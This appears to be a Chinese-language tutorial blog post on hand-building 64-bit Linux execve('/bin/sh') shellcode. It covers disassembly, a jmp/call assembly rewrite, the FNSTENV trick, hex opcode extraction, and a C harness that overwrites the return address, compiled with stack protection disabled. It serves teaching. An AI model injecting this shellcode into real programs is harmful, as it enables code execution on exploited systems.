1. 概说
shell我们都知道是什么了吧！ 狭义的shellcode 就是一段可以运行shell的代码！
构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。
shellcode通常放在缓冲区内，也可以通过环境变量存入堆内，也可以通过动态内存放入堆区。
下面我们学习一下怎样构造shellcode。
注意： 我是在Centos 64位的系统下进行测试和构建shellcode的，shellcode的高级技巧可以支持不同平台的移植，但下面构建的shellcode并不适合多平台。
2. shellcode源代码
下面是shellcode的c代码
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *code[2];
code[0] = "/bin/sh";
code[1] = NULL;
execve(code[0], code, NULL);
return 0;
}
以上代码编译运行可以得到一个shell（命令行）。
- execve 是 Unix/Linux下exec函数，Linux一般是用fork创建新进程，用exec来执行新的程序
- exec有六个函数，其中只有execve是系统调用，其它五个exec函数最后都要调用execve。
3. 反汇编
我们将上面的代码进行编译，然后反汇编。
编译： gcc -o shellcode shellcode.c
反汇编：objdump -d shellcode > shellcode.s
shellcode.s 是我们得到的反汇编代码， 我们只需要关注main部分的：
0000000000400530 <main>:
400530: 55 push %rbp
400531: 48 89 e5 mov %rsp,%rbp
400534: 48 83 ec 20 sub $0x20,%rsp
400538: 89 7d ec mov %edi,-0x14(%rbp)
40053b: 48 89 75 e0 mov %rsi,-0x20(%rbp)
40053f: 48 c7 45 f0 00 06 40 movq $0x400600,-0x10(%rbp)
400546: 00
400547: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
40054e: 00
40054f: 48 8b 45 f0 mov -0x10(%rbp),%rax
400553: 48 8d 4d f0 lea -0x10(%rbp),%rcx
400557: ba 00 00 00 00 mov $0x0,%edx
40055c: 48 89 ce mov %rcx,%rsi
40055f: 48 89 c7 mov %rax,%rdi
400562: e8 b9 fe ff ff callq 400420 <execve@plt>
400567: b8 00 00 00 00 mov $0x0,%eax
40056c: c9 leaveq
40056d: c3 retq
40056e: 66 90 xchg %ax,%ax
参照上面的反汇编代码，我们手工用汇编语言重写上面的shellcode.c，
如下：
.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"
上面的汇编代码中：
rax 保存系统调用号#59，这是execve的调用号
rdi 保存execve的第一个参数，是"/bin/sh"的地址
rsi 是指向前面用到的"/bin/sh"的指针开始并以空指针结尾的指针数组
rdx 是零，用来做execve的第三个参数
execve的原型是：int execve(const char *filename, char *const argv[],char *const envp[]);
我们将汇编代码保存在文件： scode.s 里。
shellcode构建技巧
shelloce构建唯一需要的技巧是： 巧妙地存放"/bin/sh"字符串和使用。
其中一个技巧是这样的：首先以一条【jmp】指令开始，它跳转到一个【call】指令处，该指令恰好是shelloce的起始处之前。执行【call】指令会将返回地址（shellcode起始地址）压栈，并跳到下一条指令（最初jmp指令之后）。
如下：
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string
一个【jmp】和一个【call】首尾呼应，是用来得到.string里面内容的一个好办法。
除了JMP/CALL方法外，另一种常见的技术是使用FNSTENV汇编指令。
fnstenv指令将一个32字节的浮点单元（FPU）环境记录入由操作数指定的内存地址，FPU环境记录是一个数据结构，它的定义位于/usr/include/sys/user.h文件的user_fpregs_struct中。
/* These are the 32-bit x86 structures. */
struct user_fpregs_struct
{
long int cwd;
long int swd;
long int twd;
long int fip;
long int fcs;
long int foo;
long int fos;
long int st_space [20];
};
利用fip里面包含的调用的最后一条FPU指令的eip，我们可以成功获得到当前的地址。
技巧实践
想要编写shellcode，就要理解目的程序调用shellcode时的难点，下面是上面的汇编代码的解释：
shellcode最麻烦的一点就是要将字符串“/bin/sh"作为参数传递，shellcode被写入缓冲区后，代码的位置是不固定的，为了能够得到"/bin/sh"这个字符串，黑客们利用call指令，因为call指令执行的第一个动作就是将下一条指令的地址压栈，而我们把字符串安排在call后，目的就是要把它压入栈中。
- scode.s入口第一条指令： jmp cl #这是跳到cl标签处，亦即 call pp。
- call pp #将字符串压栈，同时返回到上面pp标签处
- popq %rcx #将字符串"/bin/sh"的地址存入rcx（通用寄存器），这里可以选择其它寄存器。
- 接下来的三条指令是建立一个新的栈空间：
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
在真正注入的shellcode代码里，可以不用创建这个栈，但这里演示程序在单独执行时，"/bin/sh"字符串是放在了代码段里，是不允许修改的空间，所以要建栈将这个字符串复制过去。- movq %rcx, -0x10(%rbp) #将字符串复制到栈
- movq $0x0,-0x8(%rbp) #创建调用exec时的参数name[1]，将它置0.
- lea -0x10(%rbp), %rsi #这是execve第二个参数，它需要**类型，所以用lea传送地址给rsi。
- mov -0x10(%rbp), %rdi #mov将字符串传给rdi，这是execve第一个参数。
- mov $59, %rax #这个59是execve的系统调用号，在/usr/include/asm/unistd_64.h里可以查询到.
- syscall #系统调用， 这个可以取代 int 0x80 .
不用考虑返回退出，代码基本无问题，下面进行编译和连接。
编译： as -o scode.o scode.s
连接： ld -o scode scode.o
用objdump反汇编scode，主要目的是提取二进制机器码，为了方便显示，二进制一般表示为十六进制。
这里有一条命令，可以直接输出到可以用在c语言的shellcode：for i in $(objdump -d scode | grep "^ " |cut -f2); do echo -n '\x'$i; done;
最后得到的shellcode代码如下：
\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00
\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b
\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
4. 测试shellcode
下是用c语言写一个测试shellcode的程序：
#include <stdio.h>
unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
"\x83\xec\x20\x48\x89\x4d\xf0\x48"
"\xc7\x45\xf8\x00\x00\x00\x00\xba"
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
"\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
"\x00\x00\x00\x0f\x05\xe8\xd0\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
/* code 就是我们上面构造的 shellcode */
void main(int argc, char *argv[])
{
long *ret;
ret = (long *)&ret + 2;
(*ret) = (long)code;
}
- 因为是64位系统，地址是有64位宽度的，所以要用long类型
- ret 作为main的第一个局部变量，它必定是存储在main的栈空间内，其中long * ret 这条指令占据了一个64位， 当ret地址加1（64位）时，ret就到到达栈的基址位置（rbp），我在（一）这文章里分析过，main函数的返回地址还在栈基址之上的高地址中，它距离rbp还有64位宽度，所以ret需要加上2（2个64位）才能到达main的返回地址的保存位置。
- (*ret) = (long)code ， 很明显就是要用code的地址将main返回地址覆盖。
另外，由于系统设置了堆栈运行保护，gcc编译时需要使用参数：-fno-stack-protector -z execstack
5. shellcode 之后
shellcode 除了取得shell外，还有很多不同的功能，构建shellcode还有很多不同的方法，这里只是很基本的方法。
现代系统都有堆栈运行保护，有方法可以绕过这些保护不？
答案是有的，所谓道高一尺，魔高一丈！
上面的shellcode并不涉及缓冲区溢出，亦不适用缓冲区溢出，原因是什么呢？
且看下回分解。
